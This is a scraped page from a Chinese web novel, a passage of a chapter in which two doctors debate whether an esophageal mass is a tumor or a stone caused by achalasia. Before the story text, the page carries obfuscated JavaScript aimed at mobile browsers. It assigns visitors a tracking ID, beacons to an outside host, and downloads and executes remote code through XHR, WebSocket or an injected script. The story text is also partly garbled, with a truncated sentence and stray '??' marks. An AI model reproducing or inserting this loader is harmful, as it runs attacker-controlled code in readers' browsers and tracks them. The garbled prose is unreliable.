足迹
姜眠
登录
关灯
护眼
字体:

705 又误诊了?(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

胃石症是指食入的毛发、植物纤维,比如说柿或是黑枣和矿物质等在胃内未被消化、长期凝结形成团块所引发的病变。

可分为毛发结石、植物结石和混合结石3种。

柿石等消化道结石的形成多在ph

即便有毛发被误食进去,在食管里……那就是个管道,几乎不停留,没有结石形成的条件。

顾维勉仔细回想,确定自己的想法是对的。最起码自己干胸外科二十多年,从来没见过类似的患者。

虽然这么想,但顾维勉有些不安。从前认为检查足够多了,但现在看还差了点什么。

一张上消化道钡透的影像资料有些不够看,另外就是肺部ct虽然带着食道,可是影像科的人都会针对肺脏进行曝光??而不是全部脏器都看的清清楚楚。

“顾主任?您是不是有点累?感觉您不在状态。”吴冕见顾主任又出神??便问了一句。

顾维勉讪笑,“吴老师??不好意思啊??我昨天没睡好。”

“是我不好意思才是。”吴冕笑道,“半夜打扰您休息??您多担待。”

“吴老师,您太客气了。说实话??食管结石这病我没见过??影像学上有什么特征么?吴老师您很确定是食管结石,是不是有什么诀窍?”顾维勉决定还是先问问。

就像是老鸹山上的那次,自己是真没看出来毛病,认为患者是癔症。谁成想几个钙化点就让自己翻了船??一直到现在都不好意思去老鸹山见林道士。

“您和影像科的同事分析的是对的??卵圆形充盈缺损影,黏膜无明显破坏,完全可以判断是食管肿瘤。”吴冕道。

“……”顾维勉怔了一下,他知道后面就是但是,是神转折??自己可是不能说话。

把耳朵竖起来,顾维勉静静的听着。

“但要换个角度来看??食管石影像表现与胃石近似,也呈表面不光滑、纵向走行的卵圆形充盈缺损影??黏膜无明显破坏。

由于食管的局限而不似胃柿石那样移动,难以见到典型的“滚雪球征”及“鸟巢征”??也不像是食管囊肿那样有明显形态改变。”

“因为可供参考的只有一个肺部ct??我也是猜测——首次食管吞钡检查贲门区呈线样狭窄??如果没有食管占位性病变,这块我们可以考虑贲门失驰。患者有贲门失驰,胃液反流,导致食管里的ph数值降低,也为食管结石的产生创造了有力的条件。”

顾维勉努力回忆上消化道钡透的影像资料,自己和其他主任们似乎的确忽略了贲门区呈线样狭窄。